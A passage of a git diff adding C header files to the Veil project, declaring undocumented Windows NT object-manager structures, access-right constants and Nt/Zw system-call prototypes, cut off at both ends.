(*NlsMbOemCodePageTag) + +#endif // _NTSYSTEM_ + +extern BOOLEAN NLS_MB_CODE_PAGE_TAG; // TRUE -> Multibyte CP, FALSE -> Singlebyte +extern BOOLEAN NLS_MB_OEM_CODE_PAGE_TAG; // TRUE -> Multibyte CP, FALSE -> Singlebyte + +#define MAXIMUM_LEADBYTES 12 + +typedef struct _CPTABLEINFO +{ + USHORT CodePage; + USHORT MaximumCharacterSize; + USHORT DefaultChar; + USHORT UniDefaultChar; + USHORT TransDefaultChar; + USHORT TransUniDefaultChar; + USHORT DBCSCodePage; + UCHAR LeadByte[MAXIMUM_LEADBYTES]; + PUSHORT MultiByteTable; + PVOID WideCharTable; + PUSHORT DBCSRanges; + PUSHORT DBCSOffsets; +} CPTABLEINFO, * PCPTABLEINFO; + +typedef struct _NLSTABLEINFO +{ + CPTABLEINFO OemTableInfo; + CPTABLEINFO AnsiTableInfo; + PUSHORT UpperCaseTable; + PUSHORT LowerCaseTable; +} NLSTABLEINFO, * PNLSTABLEINFO; + +#else // !_KERNEL_MODE + +// +// Code Page Default Values. +// Please Use Unicode, either UTF-16 (as in WCHAR) or UTF-8 (code page CP_ACP) +// +#define CP_ACP 0 // default to ANSI code page +#define CP_OEMCP 1 // default to OEM code page +#define CP_MACCP 2 // default to MAC code page +#define CP_THREAD_ACP 3 // current thread's ANSI code page +#define CP_SYMBOL 42 // SYMBOL translations + +#define CP_UTF7 65000 // UTF-7 translation +#define CP_UTF8 65001 // UTF-8 translation + +#include + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.ObjectManager.h b/include/Veil/Veil/Veil.System.ObjectManager.h new file mode 100644 index 0000000..6c4f5e7 --- /dev/null +++ b/include/Veil/Veil/Veil.System.ObjectManager.h @@ -0,0 +1,1352 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifndef _KERNEL_MODE +// +// Object Manager Object Type Specific Access Rights. +// + +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +// +// Object Manager Directory Specific Access Rights. +// + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) + +// +// Object Manager Symbolic Link Specific Access Rights. +// + +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_SET (0x0002) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) +#define SYMBOLIC_LINK_ALL_ACCESS_EX (STANDARD_RIGHTS_REQUIRED | 0xFFFF) +#endif // !_KERNEL_MODE + +#ifndef _KERNEL_MODE +typedef enum _OBJECT_INFORMATION_CLASS +{ + ObjectBasicInformation, // q: OBJECT_BASIC_INFORMATION + ObjectNameInformation, // q: OBJECT_NAME_INFORMATION + ObjectTypeInformation, // q: OBJECT_TYPE_INFORMATION + ObjectTypesInformation, // q: OBJECT_TYPES_INFORMATION + ObjectHandleFlagInformation, // qs: OBJECT_HANDLE_FLAG_INFORMATION + ObjectSessionInformation, // s: void // change object session // (requires SeTcbPrivilege) + ObjectSessionObjectInformation, // s: void // change object session // (requires SeTcbPrivilege) + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; +#else +#define ObjectBasicInformation ((_OBJECT_INFORMATION_CLASS)0) +#define ObjectNameInformation ((_OBJECT_INFORMATION_CLASS)1) +#define ObjectTypeInformation ((_OBJECT_INFORMATION_CLASS)2) +#define ObjectTypesInformation ((_OBJECT_INFORMATION_CLASS)3) +#define ObjectHandleFlagInformation ((_OBJECT_INFORMATION_CLASS)4) +#define ObjectSessionInformation ((_OBJECT_INFORMATION_CLASS)5) +#define ObjectSessionObjectInformation ((_OBJECT_INFORMATION_CLASS)6) +#endif // !_KERNEL_MODE + +typedef struct _OBJECT_BASIC_INFORMATION +{ + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, * POBJECT_BASIC_INFORMATION; + +#ifndef _KERNEL_MODE +typedef struct _OBJECT_NAME_INFORMATION +{ + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; +#endif // !_KERNEL_MODE + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + UCHAR TypeIndex; // since WINBLUE + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; +} OBJECT_TYPES_INFORMATION, * POBJECT_TYPES_INFORMATION; + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, * POBJECT_HANDLE_FLAG_INFORMATION; + +// +// Objects, handles +// + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationObject( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationObject( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength +); + +#define DUPLICATE_SAME_ATTRIBUTES 0x00000004 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMakeTemporaryObject( + _In_ HANDLE Handle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMakeTemporaryObject( + _In_ HANDLE Handle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMakePermanentObject( + _In_ HANDLE Handle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMakePermanentObject( + _In_ HANDLE Handle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSignalAndWaitForSingleObject( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSignalAndWaitForSingleObject( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_When_(Timeout == NULL, _IRQL_requires_max_(APC_LEVEL)) +_When_(Timeout->QuadPart != 0, _IRQL_requires_max_(APC_LEVEL)) +_When_(Timeout->QuadPart == 0, _IRQL_requires_max_(DISPATCH_LEVEL)) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects( + _In_ ULONG Count, + _In_reads_(Count) HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects( + _In_ ULONG Count, + _In_reads_(Count) HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +#if (NTDDI_VERSION >= NTDDI_WS03) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects32( + _In_ ULONG Count, + _In_reads_(Count) LONG Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects32( + _In_ ULONG Count, + _In_reads_(Count) LONG Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); +#endif + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_writes_bytes_opt_(Length) PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_writes_bytes_to_(Length, *LengthNeeded) PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtClose( + _In_ _Post_ptr_invalid_ HANDLE Handle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwClose( + _In_ HANDLE Handle +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompareObjects( + _In_ HANDLE FirstObjectHandle, + _In_ HANDLE SecondObjectHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompareObjects( + _In_ HANDLE FirstObjectHandle, + _In_ HANDLE SecondObjectHandle +); +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +// +// Directory objects +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +typedef struct _OBJECT_DIRECTORY_INFORMATION +{ + UNICODE_STRING Name; + UNICODE_STRING TypeName; + +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_writes_bytes_opt_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_writes_bytes_opt_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + _Out_opt_ PULONG ReturnLength +); + +// +// Private namespaces +// + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +typedef enum _BOUNDARY_ENTRY_TYPE +{ + OBNS_Invalid, + OBNS_Name, + OBNS_SID, + OBNS_IL +} BOUNDARY_ENTRY_TYPE; + +// private +typedef struct _OBJECT_BOUNDARY_ENTRY +{ + BOUNDARY_ENTRY_TYPE EntryType; + ULONG EntrySize; +} OBJECT_BOUNDARY_ENTRY, * POBJECT_BOUNDARY_ENTRY; + +// rev +#define OBJECT_BOUNDARY_DESCRIPTOR_VERSION 1 + +// private +typedef struct _OBJECT_BOUNDARY_DESCRIPTOR +{ + ULONG Version; + ULONG Items; + ULONG TotalSize; + union + { + ULONG Flags; + struct + { + ULONG AddAppContainerSid : 1; + ULONG Reserved : 31; + }; + }; +} OBJECT_BOUNDARY_DESCRIPTOR, * POBJECT_BOUNDARY_DESCRIPTOR; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ POBJECT_BOUNDARY_DESCRIPTOR BoundaryDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreatePrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ POBJECT_BOUNDARY_DESCRIPTOR BoundaryDescriptor +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenPrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ POBJECT_BOUNDARY_DESCRIPTOR BoundaryDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenPrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ POBJECT_BOUNDARY_DESCRIPTOR BoundaryDescriptor +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeletePrivateNamespace( + _In_ HANDLE NamespaceHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeletePrivateNamespace( + _In_ HANDLE NamespaceHandle +); +#endif + +// +// Symbolic links +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength +); + +typedef enum _SYMBOLIC_LINK_INFORMATION_CLASS +{ + SymbolicLinkGlobalInformation = 1, // s: ULONG + SymbolicLinkAccessMask, // s: ACCESS_MASK + MaxnSymbolicLinkInfoClass +} SYMBOLIC_LINK_INFORMATION_CLASS; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationSymbolicLink( + _In_ HANDLE LinkHandle, + _In_ SYMBOLIC_LINK_INFORMATION_CLASS SymbolicLinkInformationClass, + _In_reads_bytes_(SymbolicLinkInformationLength) PVOID SymbolicLinkInformation, + _In_ ULONG SymbolicLinkInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationSymbolicLink( + _In_ HANDLE LinkHandle, + _In_ SYMBOLIC_LINK_INFORMATION_CLASS SymbolicLinkInformationClass, + _In_reads_bytes_(SymbolicLinkInformationLength) PVOID SymbolicLinkInformation, + _In_ ULONG SymbolicLinkInformationLength +); + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +// Object Type + +extern POBJECT_TYPE* CmKeyObjectType; +extern POBJECT_TYPE* LpcPortObjectType; +extern POBJECT_TYPE* SeTokenObjectType; +extern POBJECT_TYPE* MmSectionObjectType; + +extern POBJECT_TYPE* ExActivationObjectType; +extern POBJECT_TYPE* ExCompositionObjectType; +extern POBJECT_TYPE* ExCoreMessagingObjectType; +extern POBJECT_TYPE* ExDesktopObjectType; +extern POBJECT_TYPE* ExEventObjectType; +extern POBJECT_TYPE* ExRawInputManagerObjectType; +extern POBJECT_TYPE* ExSemaphoreObjectType; +extern POBJECT_TYPE* ExTimerObjectType; +extern POBJECT_TYPE* ExWindowStationObjectType; + +extern POBJECT_TYPE* IoAdapterObjectType; +extern POBJECT_TYPE* IoCompletionObjectType; +extern POBJECT_TYPE* IoDeviceHandlerObjectType; +extern POBJECT_TYPE* IoDeviceObjectType; +extern POBJECT_TYPE* IoDriverObjectType; +extern POBJECT_TYPE* IoFileObjectType; + +extern POBJECT_TYPE* TmEnlistmentObjectType; +extern POBJECT_TYPE* TmResourceManagerObjectType; +extern POBJECT_TYPE* TmTransactionManagerObjectType; +extern POBJECT_TYPE* TmTransactionObjectType; + +// Function + +typedef struct _OBJECT_DUMP_CONTROL { + PVOID Stream; + ULONG Detail; +} OB_DUMP_CONTROL, * POB_DUMP_CONTROL; + +typedef VOID(NTAPI * OB_DUMP_METHOD)( + _In_ PVOID Object, + _In_opt_ POB_DUMP_CONTROL Control + ); + +typedef enum _OB_OPEN_REASON +{ + ObCreateHandle, + ObOpenHandle, + ObDuplicateHandle, + ObInheritHandle, + ObMaxOpenReason +} OB_OPEN_REASON; + +typedef NTSTATUS(NTAPI * OB_OPEN_METHOD)( + _In_ OB_OPEN_REASON OpenReason, + _In_ KPROCESSOR_MODE PreviousMode, + _In_opt_ PEPROCESS Process, + _In_ PVOID Object, + _In_ ACCESS_MASK GrantedAccess, + _In_ ULONG HandleCount + ); + +typedef BOOLEAN(NTAPI * OB_OKAYTOCLOSE_METHOD)( + _In_opt_ PEPROCESS Process, + _In_ PVOID Object, + _In_ HANDLE Handle, + _In_ KPROCESSOR_MODE PreviousMode + ); + +typedef VOID(NTAPI *OB_CLOSE_METHOD)( + _In_opt_ PEPROCESS Process, + _In_ PVOID Object, + _In_ ULONG_PTR ProcessHandleCount, + _In_ ULONG_PTR SystemHandleCount + ); + +typedef VOID(NTAPI*OB_DELETE_METHOD)( + _In_ PVOID Object + ); + +typedef NTSTATUS(NTAPI*OB_PARSE_METHOD)( + _In_ PVOID ParseObject, + _In_ PVOID ObjectType, + _Inout_ PACCESS_STATE AccessState, + _In_ KPROCESSOR_MODE AccessMode, + _In_ ULONG Attributes, + _Inout_ PUNICODE_STRING CompleteName, + _Inout_ PUNICODE_STRING RemainingName, + _Inout_opt_ PVOID Context, + _In_opt_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Out_ PVOID* Object + ); + +typedef struct _OB_EXTENDED_PARSE_PARAMETERS +{ + UINT16 Length; + ULONG32 RestrictedAccessMask; + struct _EJOB* Silo; +} OB_EXTENDED_PARSE_PARAMETERS, * POB_EXTENDED_PARSE_PARAMETERS; + +typedef NTSTATUS(NTAPI* OB_PARSE_EX_METHOD)( + _In_ PVOID ParseObject, + _In_ PVOID ObjectType, + _Inout_ PACCESS_STATE AccessState, + _In_ KPROCESSOR_MODE AccessMode, + _In_ ULONG Attributes, + _Inout_ PUNICODE_STRING CompleteName, + _Inout_ PUNICODE_STRING RemainingName, + _Inout_opt_ PVOID Context, + _In_opt_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + POB_EXTENDED_PARSE_PARAMETERS ExtendedParameters, + _Out_ PVOID* Object + ); + +typedef NTSTATUS(NTAPI*OB_SECURITY_METHOD)( + _In_ PVOID Object, + _In_ SECURITY_OPERATION_CODE OperationCode, + _In_ PSECURITY_INFORMATION SecurityInformation, + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Inout_ PULONG CapturedLength, + _Inout_ PSECURITY_DESCRIPTOR* ObjectsSecurityDescriptor, + _In_ POOL_TYPE PoolType, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ KPROCESSOR_MODE AccessMode + ); + +typedef NTSTATUS(NTAPI*OB_QUERYNAME_METHOD)( + _In_ PVOID Object, + _In_ BOOLEAN HasObjectName, + _Out_ POBJECT_NAME_INFORMATION ObjectNameInfo, + _In_ ULONG Length, + _Out_ PULONG ReturnLength, + _In_ KPROCESSOR_MODE Mode + ); + +typedef struct _OBJECT_TYPE_INITIALIZER +{ + UINT16 Length; + union + { + UINT16 ObjectTypeFlags; + struct + { + struct + { + UINT8 CaseInsensitive : 1; + UINT8 UnnamedObjectsOnly : 1; + UINT8 UseDefaultObject : 1; + UINT8 SecurityRequired : 1; + UINT8 MaintainHandleCount : 1; + UINT8 MaintainTypeList : 1; + UINT8 SupportsObjectCallbacks : 1; + UINT8 CacheAligned : 1; + }; + struct + { + UINT8 UseExtendedParameters : 1; + UINT8 Reserved : 7; + }; + }; + }; + ULONG32 ObjectTypeCode; + ULONG32 InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG32 ValidAccessMask; + ULONG32 RetainAccess; + POOL_TYPE PoolType; + ULONG32 DefaultPagedPoolCharge; + ULONG32 DefaultNonPagedPoolCharge; + OB_DUMP_METHOD DumpProcedure; + OB_OPEN_METHOD OpenProcedure; + OB_CLOSE_METHOD CloseProcedure; + OB_DELETE_METHOD DeleteProcedure; + union + { + OB_PARSE_METHOD ParseProcedure; + OB_PARSE_EX_METHOD ParseProcedureEx; + }; + OB_SECURITY_METHOD SecurityProcedure; + OB_QUERYNAME_METHOD QueryNameProcedure; + OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure; + ULONG32 WaitObjectFlagMask; + UINT16 WaitObjectFlagOffset; + UINT16 WaitObjectPointerOffset; +} OBJECT_TYPE_INITIALIZER, * POBJECT_TYPE_INITIALIZER; + +#if (NTDDI_VERSION >= NTDDI_WIN8) +#define SIZEOF_OBJECT_TYPE_INITIALIZER (sizeof OBJECT_TYPE_INITIALIZER) +#else +#define SIZEOF_OBJECT_TYPE_INITIALIZER (FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, WaitObjectFlagMask)) +#endif + +NTKERNELAPI +NTSTATUS +NTAPI +ObCreateObjectType( + _In_ PUNICODE_STRING TypeName, + _In_ POBJECT_TYPE_INITIALIZER ObjectTypeInitializer, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ POBJECT_TYPE* ObjectType +); + +NTKERNELAPI +NTSTATUS +NTAPI +ObCreateObject( + _In_ KPROCESSOR_MODE ProbeMode, + _In_ POBJECT_TYPE ObjectType, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ KPROCESSOR_MODE OwnershipMode, + _Inout_opt_ PVOID ParseContext, + _In_ ULONG ObjectBodySize, + _In_ ULONG PagedPoolCharge, + _In_ ULONG NonPagedPoolCharge, + _Out_ PVOID* Object +); + +NTKERNELAPI +NTSTATUS +ObInsertObject( + _In_ PVOID Object, + _Inout_opt_ 